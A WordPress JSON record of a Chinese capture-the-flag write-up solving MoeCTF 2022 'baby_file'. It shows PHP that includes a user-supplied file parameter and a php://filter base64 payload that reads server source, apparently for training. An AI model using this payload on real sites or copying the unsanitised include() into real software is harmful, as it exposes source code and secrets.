{"id":2326,"date":"2025-04-07T18:08:32","date_gmt":"2025-04-07T10:08:32","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2326"},"modified":"2025-04-07T18:09:05","modified_gmt":"2025-04-07T10:09:05","slug":"moectf-2022baby_file","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/04\/07\/moectf-2022baby_file\/","title":{"rendered":"MoeCTF 2022baby_file"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250407173414.png\" alt=\"Pasted image 20250407173414.png\"><\/p>\n<h1>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9<\/h1>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250407173644.png\" alt=\"Pasted image 20250407173644.png\"><\/p>\n<h1>\u4e8c\u3001\u5206\u6790\u4ee3\u7801<\/h1>\n<pre><code class=\"language-php\">&lt;html&gt;  \n&lt;title&gt;Here's\u00a0a\u00a0secret.\u00a0Can\u00a0you\u00a0find\u00a0it?&lt;\/title&gt;  \n&lt;?php  \n  \nif(isset($_GET['file'])){\u00a0\u00a0\u00a0\u00a0$file\u00a0=\u00a0$_GET['file'];  \n\u00a0\u00a0\u00a0\u00a0include($file);  \n}else{\u00a0\u00a0\u00a0\u00a0highlight_file(__FILE__);  \n}  \n?&gt;  \n&lt;\/html&gt;\n<\/code><\/pre>\n<p>\u5206\u6790\u53d1\u73b0\uff0c\u53ea\u662f\u5f88\u666e\u901a\u7684\u6587\u4ef6\u5305\u542b<\/p>\n<h1>\u4e09\u3001\u5c1d\u8bd5\u8bbf\u95eeflag.php\u6587\u4ef6<\/h1>\n<p>\u53d1\u73b0\u62a5\u9519<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250407174236.png\" alt=\"Pasted image 20250407174236.png\"><\/p>\n<h1>\u56db\u3001\u5c1d\u8bd5\u4f7f\u7528php\u4f2a\u534f\u8bae<\/h1>\n<p>\u4f7f\u7528filter\u8fdb\u884cbase64\u52a0\u5bc6\u83b7\u53d6flag.php<\/p>\n<pre><code>file=php:\/\/filter\/read=convert.base64-encode\/resource=shell.php\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250407174505.png\" alt=\"Pasted image 20250407174505.png\"><\/p>\n<h1>\u4e94\u3001\u8fdb\u884c\u89e3\u7801<\/h1>\n<p>\u6210\u529f\u83b7\u53d6flag<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250407174538.png\" alt=\"Pasted image 20250407174538.png\"><\/p>\n<h1>\u603b\u7ed3<\/h1>\n<ul>\n<li>php\u4f2a\u534f\u8bae<\/li>\n<li>\u4f7f\u7528filter\u4f2a\u534f\u8bae\u8fdb\u884cbase64\u52a0\u5bc6\u83b7\u53d6flag<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9 \u4e8c\u3001\u5206\u6790\u4ee3\u7801 &lt;html&gt; &lt;title&gt;Here&#8217;s\u00a0a\u00a0secret [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[28,27],"class_list":["post-2326","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-php","tag-27"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2326","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2326"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2326\/revisions"}],"predecessor-version":[{"id":2327,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2326\/revisions\/2327"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2326"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2326"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2326"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}